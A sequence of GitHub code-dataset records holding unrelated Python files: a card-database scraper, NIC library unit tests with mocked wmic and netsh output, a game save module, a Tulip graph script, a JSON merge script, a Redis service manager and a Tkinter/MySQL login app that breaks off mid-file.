card_name=card,\n )\n card_id.save()\n else:\n pack = PackOfficialName.objects.filter(official_name=td_list[2].find(\"b\").text).first().db_pack\n flag = False\n for text in texts:\n if pack.pack_name + \",\" + card.card_name + \",\" in text \\\n and not CardId.objects.filter(card_id=text.replace(\"\\n\", \"\").split(\",\")[2]).exists():\n card_id = CardId(\n card_id=text.replace(\"\\n\", \"\").split(\",\")[2],\n card_name=card\n )\n card_id.save()\n flag = True\n break\n if not flag:\n continue\n card_id.rarity.add(rarity)\n card_id.save()\n registrationPack(tr, card_id)\n\n\ndef registrationPack(tr, card_id):\n pack_name = tr.find_all(\"td\")[2].find(\"b\").text\n pack = checkPack(pack_name)\n pack.recording_card.add(card_id)\n pack.save()\n\n\ndef checkPack(pack_name):\n official_pack = PackOfficialName.objects.filter(official_name=pack_name).first()\n try:\n pack = official_pack.db_pack\n except AttributeError:\n print(pack_name)\n sys.exit()\n return pack\n\n\ndef checkRarity(rarity_td):\n try:\n rarity_string = rarity_td.find(\"img\").attrs['alt'].replace(\"仕様\", \"\")\n except AttributeError:\n rarity_string = \"ノーマル\"\n if not Rarity.objects.filter(rarity=rarity_string).exists():\n rarity = Rarity(rarity=rarity_string)\n rarity.save()\n return rarity\n else:\n return Rarity.objects.filter(rarity=rarity_string).first()\n","repo_name":"ss6987/yugioh_DB","sub_path":"yugioh_cardDB/management/commands/GetData/RegistrationCardId.py","file_name":"RegistrationCardId.py","file_ext":"py","file_size_in_byte":2477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"37997851928","text":"\"\"\"Module containing NIC class unit tests.\"\"\"\n\nimport textwrap\nfrom unittest import TestCase\nfrom unittest.mock import patch\n\nfrom baseline import Baseline\n\nfrom win_nic import Nic\nfrom win_nic.enums.nic_adapter_type import NicAdapterType\nfrom win_nic.enums.nic_availability import NicAvailability\nfrom win_nic.enums.nic_net_connection_status import NicNetConnectionStatus\nfrom win_nic.enums.nic_config_manager_error_code import NicConfigManagerErrorCode\n\n\n# pylint: disable=too-many-public-methods, unused-argument, invalid-name\nclass TestNic(TestCase):\n\n \"\"\"Execute NIC class unit tests.\"\"\"\n\n # pylint: disable=no-self-argument, line-too-long\n def _mock_check_output(args):\n command = ' '.join(args)\n win32_networkadapter_base_attribute_cmd = 'wmic path win32_networkadapter where index=0 get '\n win32_networkadapter_base_method_cmd = 'wmic path win32_networkadapter where index=0 call '\n win32_networkadapterconfiguration_base_attribute_cmd = 'wmic path win32_networkadapterconfiguration where index=0 get '\n wmic_responses = {\n win32_networkadapter_base_attribute_cmd + 'AdapterTypeID': 'AdapterType\\n0',\n win32_networkadapter_base_attribute_cmd + 'Availability': 'Availability\\n3',\n win32_networkadapter_base_attribute_cmd + 'Caption': 'Caption\\n[00000000] Dummy Adapter',\n win32_networkadapter_base_attribute_cmd + 'ConfigManagerErrorCode': 'ConfigManagerErrorCode\\n0',\n win32_networkadapter_base_attribute_cmd + 'ConfigManagerUserConfig': 'ConfigManagerUserConfig\\nFALSE',\n win32_networkadapter_base_attribute_cmd + 'Description': 'Description\\nDummy Adapter',\n win32_networkadapter_base_attribute_cmd + 'DeviceID': 'DeviceID\\n0',\n win32_networkadapter_base_attribute_cmd + 'ErrorCleared': 'ErrorCleared\\nTRUE',\n win32_networkadapter_base_attribute_cmd + 'ErrorDescription': 'ErrorDescription\\nDummy Error',\n win32_networkadapter_base_attribute_cmd + 'GUID': 'GUID\\n{ABCDEFGH-IJKL-MNOP-QRST-UVWXYZ01234}',\n win32_networkadapter_base_attribute_cmd + 'Installed': 'Installed\\nTRUE',\n win32_networkadapter_base_attribute_cmd + 'InterfaceIndex': 'InterfaceIndex\\n1',\n win32_networkadapter_base_attribute_cmd + 'LastErrorCode': 'LastErrorCode\\n0',\n win32_networkadapter_base_attribute_cmd + 'MACAddress': 'MACAddress\\n00:00:00:00:00:00',\n win32_networkadapter_base_attribute_cmd + 'Manufacturer': 'NetConnectionID\\nAcme Corporation',\n win32_networkadapter_base_attribute_cmd + 'Name': 'Name\\nAcme 1234 Gigabit Network Connection',\n win32_networkadapter_base_attribute_cmd + 'NetConnectionID': 'NetConnectionID\\nLocal Area Connection 0',\n win32_networkadapter_base_attribute_cmd + 'NetConnectionStatus': 'NetConnectionStatus\\n2',\n win32_networkadapter_base_attribute_cmd + 'PhysicalAdapter': 'Speed\\nTRUE',\n win32_networkadapter_base_attribute_cmd + 'PNPDeviceID': 'PNPDeviceID\\nPCI\\\\DUMMY_STUFF\\\\0123456789',\n win32_networkadapter_base_attribute_cmd + 'PowerManagementSupported': 'PowerManagementSupported\\nTRUE',\n win32_networkadapter_base_attribute_cmd + 'ProductName': 'ProductName\\nDummy Adapter',\n win32_networkadapter_base_attribute_cmd + 'Speed': 'Speed\\n1000000000',\n win32_networkadapter_base_attribute_cmd + 'ServiceName': 'ServiceName\\ndummyservice',\n win32_networkadapterconfiguration_base_attribute_cmd + 'IPAddress': 'IPAddress\\n\\n{\"192.168.0.2\", \"0:0:0:0:0:0:0:1\"}',\n win32_networkadapter_base_method_cmd + 'Disable': 'Method execution successful.\\nOut Parameters:\\nInstance of __PARAMETERS\\n{\\n ReturnValue = 5;\\n};',\n win32_networkadapter_base_method_cmd + 'Enable': 'Method execution successful.\\nOut Parameters:\\nInstance of __PARAMETERS\\n{\\n ReturnValue = 5;\\n};',\n }\n return bytes(wmic_responses[command], 'utf-8')\n\n # pylint: disable=no-self-argument, line-too-long\n def _mock_null_atr(args):\n command = ' '.join(args)\n win32_networkadapter_base_attribute_cmd = 'wmic path win32_networkadapter where index=0 get '\n win32_networkadapterconfiguration_base_attribute_cmd = 'wmic path win32_networkadapterconfiguration where index=0 get '\n wmic_responses = {\n win32_networkadapter_base_attribute_cmd + 'Name': 'MockNull\\n',\n win32_networkadapterconfiguration_base_attribute_cmd + 'IPAddress': 'MockNull\\n',\n }\n return bytes(wmic_responses[command], 'utf-8')\n\n # pylint: disable=no-self-argument, line-too-long\n def _mock_call(args, stdout):\n netsh_base_cmd = 'netsh interface ipv4 '\n netsh_responses = {\n netsh_base_cmd + 'add dnsserver name=\"Local Area Connection 0\" 8.8.8.8': '0',\n netsh_base_cmd + 'set address name=\"Local Area Connection 0\" source=dhcp': '0',\n netsh_base_cmd + 'set address name=\"Local Area Connection 0\" static 192.168.0.2 255.255.255.0 192.168.0.1': '0',\n }\n return bytes(netsh_responses[args], 'utf-8')\n\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def setUp(self, mocked_check_output): # pylint: disable=arguments-differ\n \"\"\"Instantiate a NIC.\"\"\"\n self.test_nic = Nic(index=0)\n\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_adapter_type(self, mocked_check_output):\n \"\"\"Test adapter_type property of the Nic class.\"\"\"\n self.assertEqual(self.test_nic.adapter_type, NicAdapterType(0))\n\n @patch('subprocess.call', side_effect=_mock_call)\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_add_dns_server(self, mocked_check_output, mocked_call_output):\n \"\"\"Test add_dns_server method of the Nic class.\"\"\"\n self.assertEqual(str(self.test_nic.add_dns_server('8.8.8.8')), Baseline(\"\"\"0\"\"\"))\n\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_availability(self, mocked_check_output):\n \"\"\"Test availability property of the Nic class.\"\"\"\n self.assertEqual(self.test_nic.availability, NicAvailability(3))\n\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_caption(self, mocked_check_output):\n \"\"\"Test caption property of the Nic class.\"\"\"\n self.assertEqual(self.test_nic.caption,\n Baseline(\"\"\"[00000000] Dummy Adapter\"\"\"))\n\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_config_manager_error_code(self, mocked_check_output):\n \"\"\"Test config_manager_error_code property of the Nic class.\"\"\"\n self.assertEqual(self.test_nic.config_manager_error_code,\n NicConfigManagerErrorCode(0))\n\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_config_manager_user_config(self, mocked_check_output):\n \"\"\"Test config_manager_user_config property of the Nic class.\"\"\"\n self.assertFalse(self.test_nic.config_manager_user_config)\n\n def test_dunder_dir(self):\n \"\"\"Test dir magic method of the Nic class.\"\"\"\n assert '\\n'.join(textwrap.wrap(str(dir(self.test_nic)), width=80)) == Baseline(\"\"\"\n ['_ip_address_raw', 'adapter_type', 'availability', 'caption',\n 'config_manager_error_code', 'config_manager_user_config', 'description',\n 'device_id', 'error_cleared', 'error_description', 'guid', 'index', 'installed',\n 'interface_index', 'last_error_code', 'mac_address', 'manufacturer', 'name',\n 'net_connection_id', 'net_connection_status', 'physical_adapter',\n 'pnp_device_id', 'power_management_supported', 'product_name', 'service_name',\n 'speed']\n \"\"\")\n\n def test_dunder_repr(self):\n \"\"\"Test repr magic method of the NIC class.\"\"\"\n self.assertEqual(repr(self.test_nic),\n Baseline(\"\"\"<'win_nic.Nic(index=0)'>\"\"\"))\n\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_dunder_str(self, mocked_check_output):\n \"\"\"Test string magic method of the Nic class.\"\"\"\n self.assertEqual(str(self.test_nic), Baseline(\"\"\"[00000000] Dummy Adapter\"\"\"))\n\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_description(self, mocked_check_output):\n \"\"\"Test description property of the Nic class.\"\"\"\n self.assertEqual(self.test_nic.description,\n Baseline(\"\"\"Dummy Adapter\"\"\"))\n\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_device_id(self, mocked_check_output):\n \"\"\"Test device_id property of the Nic class.\"\"\"\n self.assertEqual(self.test_nic.device_id, Baseline(\"\"\"0\"\"\"))\n\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_disable(self, mocked_check_output):\n \"\"\"Test disable method of the Nic class.\"\"\"\n self.assertEqual(str(self.test_nic.disable()), Baseline(\"\"\"5\"\"\"))\n\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_enable(self, mocked_check_output):\n \"\"\"Test enable method of the Nic class.\"\"\"\n self.assertEqual(str(self.test_nic.enable()), Baseline(\"\"\"5\"\"\"))\n\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_enabled_ctrl_panel(self, mocked_check_output):\n \"\"\"Test enabled_ctrl_panel method of the Nic class.\"\"\"\n self.assertTrue(self.test_nic.enabled_ctrl_panel)\n\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_error_cleared(self, mocked_check_output):\n \"\"\"Test error_cleared property of the Nic class.\"\"\"\n self.assertTrue(self.test_nic.error_cleared)\n\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_error_description(self, mocked_check_output):\n \"\"\"Test error_description property of the Nic class.\"\"\"\n self.assertEqual(self.test_nic.error_description,\n Baseline(\"\"\"Dummy Error\"\"\"))\n\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_guid(self, mocked_check_output):\n \"\"\"Test guid property of the Nic class.\"\"\"\n self.assertEqual(self.test_nic.guid,\n Baseline(\"\"\"{ABCDEFGH-IJKL-MNOP-QRST-UVWXYZ01234}\"\"\"))\n\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_installed(self, mocked_check_output):\n \"\"\"Test installed property of the Nic class.\"\"\"\n self.assertTrue(self.test_nic.installed)\n\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_interface_index(self, mocked_check_output):\n \"\"\"Test interface_index property of the Nic class.\"\"\"\n self.assertEqual(str(self.test_nic.interface_index), Baseline(\"\"\"1\"\"\"))\n\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_last_error_code(self, mocked_check_output):\n \"\"\"Test last_error_code property of the Nic class.\"\"\"\n self.assertEqual(str(self.test_nic.last_error_code), Baseline(\"\"\"0\"\"\"))\n\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_mac_address(self, mocked_check_output):\n \"\"\"Test mac_address property of the Nic class.\"\"\"\n self.assertEqual(self.test_nic.mac_address,\n Baseline(\"\"\"00:00:00:00:00:00\"\"\"))\n\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_manufacturer(self, mocked_check_output):\n \"\"\"Test manufacturer property of the Nic class.\"\"\"\n self.assertEqual(self.test_nic.manufacturer,\n Baseline(\"\"\"Acme Corporation\"\"\"))\n\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_name(self, mocked_check_output):\n \"\"\"Test name property of the Nic class.\"\"\"\n self.assertEqual(self.test_nic.name,\n Baseline(\"\"\"Acme 1234 Gigabit Network Connection\"\"\"))\n\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_net_connection_id(self, mocked_check_output):\n \"\"\"Test net_connection_id property of the Nic class.\"\"\"\n self.assertEqual(self.test_nic.net_connection_id,\n Baseline(\"\"\"Local Area Connection 0\"\"\"))\n\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_net_connection_status(self, mocked_check_output):\n \"\"\"Test net_connection_status property of the Nic class.\"\"\"\n self.assertEqual(self.test_nic.net_connection_status,\n NicNetConnectionStatus(2))\n\n @patch('subprocess.check_output', side_effect=_mock_null_atr)\n def test_null_attribute_exception(self, mocked_check_output):\n \"\"\"Test null attribute exception handling of the Nic class.\"\"\"\n # pylint: disable=pointless-statement\n with self.assertRaises(AttributeError):\n self.test_nic.name\n with self.assertRaises(AttributeError):\n self.test_nic.ip_addresses\n\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_ip_addresses(self, mocked_check_output):\n \"\"\"Test ip_addresses property of the Nic class.\"\"\"\n self.assertEqual(str(self.test_nic.ip_addresses),\n Baseline(\"\"\"['192.168.0.2', '0:0:0:0:0:0:0:1']\"\"\"))\n\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_pnp_device_id(self, mocked_check_output):\n \"\"\"Test pnp_device_id property of the Nic class.\"\"\"\n self.assertEqual(self.test_nic.pnp_device_id,\n Baseline(\"\"\"PCI\\\\DUMMY_STUFF\\\\0123456789\"\"\"))\n\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_physical_adapter(self, mocked_check_output):\n \"\"\"Test physical_adapter property of the Nic class.\"\"\"\n self.assertTrue(self.test_nic.physical_adapter)\n\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_power_management_supported(self, mocked_check_output):\n \"\"\"Test power_management_supported property of the Nic class.\"\"\"\n self.assertTrue(self.test_nic.power_management_supported)\n\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_product_name(self, mocked_check_output):\n \"\"\"Test product_name property of the Nic class.\"\"\"\n self.assertEqual(self.test_nic.product_name,\n Baseline(\"\"\"Dummy Adapter\"\"\"))\n with self.assertRaisesRegex(AttributeError, \"'Nic' attribute 'product_name' is not settable\"):\n self.test_nic.product_name = \"New Name\"\n\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_service_name(self, mocked_check_output):\n \"\"\"Test service_name property of the Nic class.\"\"\"\n self.assertEqual(self.test_nic.service_name,\n Baseline(\"\"\"dummyservice\"\"\"))\n\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_speed(self, mocked_check_output):\n \"\"\"Test speed property of the Nic class.\"\"\"\n self.assertEqual(str(self.test_nic.speed), Baseline(\"\"\"1000000000\"\"\"))\n\n @patch('subprocess.call', side_effect=_mock_call)\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_set_static_address(self, mocked_check_output, mocked_call_output):\n \"\"\"Test set_static_address method of the Nic class.\"\"\"\n self.assertEqual(str(self.test_nic.set_static_address('192.168.0.2', '255.255.255.0', '192.168.0.1')), Baseline(\"\"\"0\"\"\"))\n\n @patch('subprocess.call', side_effect=_mock_call)\n @patch('subprocess.check_output', side_effect=_mock_check_output)\n def test_use_dhcp(self, mocked_check_output, mocked_call_output):\n \"\"\"Test set_static_address method of the Nic class.\"\"\"\n self.assertEqual(str(self.test_nic.use_dhcp()), Baseline(\"\"\"0\"\"\"))\n","repo_name":"TNThieding/win-nic","sub_path":"win_nic/tests/test_nic.py","file_name":"test_nic.py","file_ext":"py","file_size_in_byte":15986,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"18075015124","text":"import json\nimport rsa\nfrom files.save.key import private_raw\n\n# Transform private key to string\nraw_prvt = \"\"\nfor line in private_raw:\n raw_prvt += line + \"\\n\"\n\nPRIVATE_KEY = rsa.PrivateKey.load_pkcs1(raw_prvt)\n\ndef save(App):\n data = default()\n\n # Write\n data[\"Night\"] = App.menu.inNight\n data[\"Played\"] = App.menu.played_once\n data[\"Custom\"] = App.menu.custom_night_menu.completed_nights\n data[\"Cutscenes\"] = App.menu.cutscenes_data\n\n # Get key\n with open(\"public.pem\", \"r\") as pk:\n raw_public_key = pk.read()\n\n PUBLIC_KEY = rsa.PublicKey.load_pkcs1(raw_public_key)\n\n json_transform = json.dumps(data, indent=2)\n\n with open(\"files/utils.txt\", \"wb\") as f:\n f.write(\n rsa.encrypt(json_transform.encode(), PUBLIC_KEY)\n )\n\ndef default():\n data = {\n \"Night\":1,\n \"Played\":False,\n \"Custom\":[\n False, False, False, False, False,\n False, False, False, False, False\n ],\n \"Cutscenes\":[False, False, False, False]\n }\n return data\n\ndef read(App):\n # Create the file if it does not exist\n \"\"\"with open(\"files/utils.txt\", \"wb\") as f:\n f.close()\"\"\"\n\n with open(\"files/utils.txt\", \"rb\") as f:\n en = f.read()\n\n try:\n json_raw = rsa.decrypt(en, PRIVATE_KEY).decode(\"utf-8\")\n except rsa.pkcs1.DecryptionError:\n print(\"A DECRIPTION ERROR HAPPENED, RESETTING GAME VALUES\")\n return None\n \n # Read the file from json\n\n try:\n jsonstr = \"\"\n for i in range(len(json_raw)):\n jsonstr += json_raw[i].replace(\"\\n\", \"\")\n\n data = json.loads(jsonstr)\n\n print(data)\n except json.decoder.JSONDecodeError as e:\n data = default()\n\n return data\n\n","repo_name":"EDUATO/fnaf-in-pygame","sub_path":"files/save/save.py","file_name":"save.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"30490236689","text":"# Powered by Python 2.7\n\n#Tulip project, part 3, building smallMultiples tree to see gene expressions at different time points in one view.\n#18-01-2019\n#Pauline Bock, Guillaume Sotton\n\nfrom tulip import tlp\nfrom tulipgui import tlpgui\n\n\n\n\"\"\"\nCreates smallMultiples Trees, colors them and displaces them.\n\"\"\"\ndef createSmallMultiples(smallMultiplesTree, geneInteractions, timepoints, viewMetric):\n buildSmallMultiples(smallMultiplesTree,geneInteractions,timepoints,viewMetric)\n nbCol = 4\n colorSmallMultiples(smallMultiplesTree)\n placeSmallMultiples(smallMultiplesTree, nbCol)\n \n\"\"\"\nBuilds smallMultiples graphs for each step of experiment time, and giving them the appropriate gene expression property into viewMetric property of each graph.\nGiving smallMultiples parent graph, gene interactions graph, a list of the timepoint properties, and ciewMetric property.\n\"\"\"\ndef buildSmallMultiples(smallMultiplesTree,geneInteractions,timepoints,metric):\n for i in range(1,len(timepoints)+1):\n tp=smallMultiplesTree.addSubGraph(\"tp\"+str(i)+\" s\")\n \n inGraph=graph.getSubGraph(\"Genes interactions\")\n tlp.copyToGraph(tp,inGraph, inSelection=None, outSelection=None)\n\n for time in timepoints:\n for sg in smallMultiplesTree.getSubGraphs():\n metric = sg.getLocalDoubleProperty(\"viewMetric\")\n for n in sg.getNodes():\n timePropertyName = str(time).split(\" \")\n timeName = timePropertyName[2]+\" s\"\n #Check if the name of the graph (associated to one timepoint) is equal to the right timepoint property\n if(timeName == sg.getName()):\n metric[n] = time[n]\n\n\"\"\"\nColors all little graphs according to their viewMetric property, containing gene expression data.\n\"\"\"\ndef colorSmallMultiples(smallMultiplesTree):\n for sg in smallMultiplesTree.getSubGraphs():\n sgMetric = sg.getLocalDoubleProperty(\"viewMetric\")\n params = tlp.getDefaultPluginParameters('Color Mapping', sg)\n params['input property'] = sgMetric\n\n colorScaleManager = tlpgui.ColorScalesManager\n colorScale = colorScaleManager.getColorScale(\"BiologicalHeatMap\")\n params['color scale'] = colorScale\n sg.applyColorAlgorithm('Color Mapping',params)\n\n\"\"\"\nDisplaces all the little graphs by order of time points, in several rows and columns, given a number of columns.\n\"\"\"\ndef placeSmallMultiples(smallMultiplesTree, nbCol):\n bb = tlp.computeBoundingBox(smallMultiplesTree)\n #Multiply by 2 to have a shift between all the graphs\n xmax = bb[1][0] *2\n ymax = bb[1][1] *2\n \n #Shifts all the graphs according to the number of their associated timepoint, the number of columns choosen and the bounding box\n for sg in smallMultiplesTree.getSubGraphs():\n smallLayout = sg.getLayoutProperty(\"viewLayout\")\n sgNames = sg.getName().split(\" \")\n sgName = sgNames[0]\n nbSG = int(sgName[2:len(sgName)])\n\n for i in range(0,nbCol+1):\n if (nbSG <= nbCol * (i+1) and nbSG > nbCol * i):\n for node in sg.getNodes():\n newPos = tlp.Coord(smallLayout[node][0] + xmax * (nbSG - nbCol *i), smallLayout[node][1] - ymax * i, smallLayout[node][2])\n smallLayout.setNodeValue(node, newPos) \n \n for edge in sg.getEdges():\n newEdgePos = []\n for pos in smallLayout[edge]:\n newPos = tlp.Coord(pos[0] + xmax * (nbSG - nbCol *i) , pos[1] - ymax * i, pos[2])\n newEdgePos.append(newPos)\n smallLayout.setEdgeValue(edge, newEdgePos)\n\n \ndef main(graph): \n tp1_s = graph.getDoubleProperty(\"tp1 s\")\n tp10_s = graph.getDoubleProperty(\"tp10 s\")\n tp11_s = graph.getDoubleProperty(\"tp11 s\")\n tp12_s = graph.getDoubleProperty(\"tp12 s\")\n tp13_s = graph.getDoubleProperty(\"tp13 s\")\n tp14_s = graph.getDoubleProperty(\"tp14 s\")\n tp15_s = graph.getDoubleProperty(\"tp15 s\")\n tp16_s = graph.getDoubleProperty(\"tp16 s\")\n tp17_s = graph.getDoubleProperty(\"tp17 s\")\n tp2_s = graph.getDoubleProperty(\"tp2 s\")\n tp3_s = graph.getDoubleProperty(\"tp3 s\")\n tp4_s = graph.getDoubleProperty(\"tp4 s\")\n tp5_s = graph.getDoubleProperty(\"tp5 s\")\n tp6_s = graph.getDoubleProperty(\"tp6 s\")\n tp7_s = graph.getDoubleProperty(\"tp7 s\")\n tp8_s = graph.getDoubleProperty(\"tp8 s\")\n tp9_s = graph.getDoubleProperty(\"tp9 s\")\n viewMetric = graph.getDoubleProperty(\"viewMetric\")\n \n \n timepoints=[tp1_s,tp2_s,tp3_s,tp4_s,tp5_s,tp6_s,tp7_s,tp8_s,tp9_s,tp10_s,tp11_s,tp12_s,tp13_s,tp14_s,tp15_s,tp16_s,tp17_s]\n rootGraph=graph.getRoot()\n geneInteractions = rootGraph.getDescendantGraph('Genes interactions')\n\n smallMultiplesTree=rootGraph.addSubGraph(name='Small Multiples')\n createSmallMultiples(smallMultiplesTree, geneInteractions, timepoints, viewMetric)\n\n smallMultiplesView = tlpgui.createView(\"Node Link Diagram view\", smallMultiplesTree, dataSet = {}, show=True)\n glGraphRenderingParams = smallMultiplesView.getRenderingParameters()\n glGraphRenderingParams.setEdgeColorInterpolate(True)\n\n\n \n","repo_name":"PaulineBock/EcoliGeneExp","sub_path":"smallMultiplesTree.py","file_name":"smallMultiplesTree.py","file_ext":"py","file_size_in_byte":4879,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"10096125432","text":"import json\r\n\r\n\r\nraw1 = 'data1.json'\r\n\r\nraw2 = 'data2.json'\r\n\r\nwith open (raw1,'r',encoding = 'utf8') as open1,open (raw2,'r',encoding = 'utf8') as open2:\r\n dict_raw1 = json.load(open1)\r\n dict_raw2 = json.load(open2)\r\n \r\n dict_raw1.update(dict_raw2)\r\n \r\nwith open ('data_merge.json','w',encoding ='utf8') as wr:\r\n wr.write(json.dumps({key:dict_raw1.get(key) for key in sorted(dict_raw1,key = lambda x: x[0])}))\r\n","repo_name":"GolosCD/python_gen_professional","sub_path":"4.4.8.py","file_name":"4.4.8.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"70404132326","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n#\n# Manager do serviço\n#\n\nimport configparser\nimport requests\nimport time\nfrom time import perf_counter\nfrom redis import Redis\n\nconfig = configparser.ConfigParser()\nconfig.read('/config/config.ini')\n\nredis = Redis(\"redis\")\n\nqueries = set()\nserver_id = 1\n\n\ndef inicalizaServico():\n \"\"\"\n Função de inicialização do SQLStreamify. Realiza a leitura do arquivo de configuração do serviço. Armazena configurações no Redis (BD executado em )memória). Após isso realiza requisições dos verificadores de alteração nos dados por chamada HTTP ao load balancer de eventos, com o nome da query e o server_id para inicialização como um servidor de replicação para consumo do log binário.\n \"\"\" \n\n # Cria um set com as queries registradas no arquivo de configuração \n server_id = 1\n for section_name in config.sections():\n if section_name != \"DB\" and section_name != \"EXPOSICAO\":\n queries.add(section_name)\n #Um set com todas as queries e os SQL de cada\n redis.hset(\"queries\", section_name, config[section_name]['query'])\n #grava o modo de cada query - Se nao existir usa o full_dataset\n modo = \"full_dataset\"\n if config.has_option(section_name, 'modo'):\n if config[section_name]['modo'] == \"one_at_time\":\n modo = \"one_at_time\"\n redis.hset(section_name, \"modo\", modo)\n #inicializa um contador para cada query\n redis.hset(section_name, \"count\", 0)\n try:\n r = requests.get(\"http://lbeventos/\" +\n section_name + \"/\" + str(server_id), timeout=0.1)\n except:\n print(\"timeout atingdo\", flush=True)\n \n server_id += 1\n\ndef main():\n \"\"\"\n Função principal que aguarda a inicialização dos serviços, chama a inicialização e realiza um controle com dados de performance das consultas. Fica em execução durante a execução do SQLStreamify, cuidando das performances de cada consulta cadastrada.\n \"\"\" \n # Aguarda um instante enquanto os conteineres estejam prontos para receberem comandos.\n print(\"Aguardando inicialização dos conteineres...\", flush=True)\n time.sleep(5)\n\n inicalizaServico()\n\n # Consulta informações sobre as buscas a cada 5 segundos\n start = perf_counter()\n while True:\n time.sleep(5)\n #print(\"***************\", flush=True)\n for query in queries:\n contador = float(redis.hget(query, \"count\"))\n por_minuto = contador / (perf_counter() - start)*60\n por_minuto = round(por_minuto, 4)\n #print(\"%s : %s eventos por minutos (%d total)\" % (\n # query, por_minuto, contador), flush=True)\n redis.hset(query, \"epm\", por_minuto)\n\n #Verifica se existe alguma ação a ser tomada para alguma query\n #inclusão\n #exclusão\n #alteração\n\n #print(\"***************\", flush=True)\n\n return queries\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"lelinho/SQLStreamify","sub_path":"container_manager/sqlstreamify_manager.py","file_name":"sqlstreamify_manager.py","file_ext":"py","file_size_in_byte":3134,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"33342747658","text":"from tkinter import *\nfrom tkinter import messagebox\nfrom PIL import ImageTk, Image\nimport mysql.connector\nfrom matplotlib.figure import Figure\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2Tk\n\n# connecting to edupedia database\nedupedia = mysql.connector.connect(\n host=\"localhost\",\n user=\"root\",\n password=\"root1234\",\n database=\"edupedia\"\n)\nedupedia_cursor = edupedia.cursor()\n\n# Tkinter window\nwindow = Tk()\nwindow.geometry('1280x700')\nwindow.title(\"home\".center(100)) # centering the title ?\nwindow.config(bg=\"black\")\neqe=\"\"\n\n# login\ndef student(s,button_stud,button_inst,button_comp,logo_label1):\n user = s\n logo_label.place_forget()\n logo_label1.place_forget()\n\n login(frame_stud_log, user,button_stud,button_inst,button_comp)\n\n\ndef institute(i,button_stud,button_inst,button_comp,logo_label1):\n user = i\n logo_label.place_forget()\n logo_label1.place_forget()\n login(frame_inst_log, user,button_stud,button_inst,button_comp)\n\n\ndef company(c,button_stud,button_inst,button_comp,logo_label1):\n user = c\n logo_label.place_forget()\n logo_label1.place_forget()\n login(frame_comp_log, user,button_stud,button_inst,button_comp)\n\n\n# validating username and password\ndef validate_account(frame, entry_usr, entry_pwd, user):\n # cheking which category is loging in\n if user == \"student\":\n table = \"student_login\"\n elif user == \"institute\":\n table = \"institute_login\"\n else:\n table = \"company_login\"\n\n # validating account\n sql = f\"select * from {table} where user_name = %s and password = %s\"\n values = (entry_usr.get(), entry_pwd.get())\n edupedia_cursor.execute(sql, values)\n # collecting the matches from the login table\n results = edupedia_cursor.fetchall()\n # checking if any matches found for given username and password\n if results:\n # messagebox.showinfo(\"success\", \"Login Successful\")\n\n profile(frame, entry_usr.get(), user)\n # if username and password does not match or exist\n else:\n messagebox.showerror(\"Failed\", \"Username or password is incorrect\")\n\n\ndef forget(frame,button_stud,button_inst,button_comp):\n def home(frame):\n frame.place_forget()\n into()\n\n def back(frame_forget):\n frame_forget.place_forget()\n frame.place(x=350, y=200)\n\n def recovery_mail(entry_mail):\n if entry_mail.get() == \"\":\n messagebox.showerror(\"Oops..!\", \"Enter mail adddress\")\n else:\n messagebox.showinfo(\"Success\", f\"Recovery mail has been sent to \\\"{entry_mail.get()}\\\"\")\n frame_forget.place_forget()\n frame.place(x=350, y=200)\n\n frame.place_forget()\n\n frame_forget = Frame(label_main,bg=\"#0572b5\")\n frame_forget.place(x=350, y=200)\n\n button_back = Button(frame_forget, text=\"X\",width=2,bg=\"red\", command=lambda: back(frame_forget))\n inside_frame = Frame(frame_forget, bg=\"#b2e9f7\")\n button_back.grid(row=0, column=0, sticky=\"e\")\n inside_frame.grid(row=1, column=0, pady=10, padx=10)\n\n label_mail = Label(inside_frame, text=\"Enter mail address \", bg=\"#b2e9f7\", font=(\"Helvetica\", \"16\"))\n entry_mail = Entry(inside_frame, font=(\"Helvetica\", \"16\"))\n button_submit = 